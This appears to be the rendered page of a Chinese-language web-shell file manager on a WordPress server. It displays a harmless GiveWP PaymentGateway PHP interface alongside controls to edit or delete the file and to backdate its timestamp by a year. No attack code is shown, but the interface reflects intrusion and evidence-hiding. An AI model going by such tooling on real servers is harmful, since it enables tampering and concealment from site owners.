文件操作 - PaymentGateway.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/give/src/PaymentGateways/PaymentGateway.php
编辑文件内容
<?php namespace Give\PaymentGateways; /** * Interface PaymentGateway * * For use when defining a Payment Gateway. This gives the basic configurations needed to register * the gateway with GiveWP. * * @since 2.9.0 */ interface PaymentGateway { /** * Returns a unique ID for the gateway * * @return string * @since 2.9.0 * */ public function getId(); /** * Returns a human-readable name for the gateway * * @return string * @since 2.9.0 * */ public function getName(); /** * Returns a human-readable label for use when a donor selects a payment method to use * * @return string * @since 2.9.0 * */ public function getPaymentMethodLabel(); /** * Get payment gateway options * * @return array */ public function getOptions(); /** * Bootstrap payment gateway * * @since 2.9.0 */ public function boot(); }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件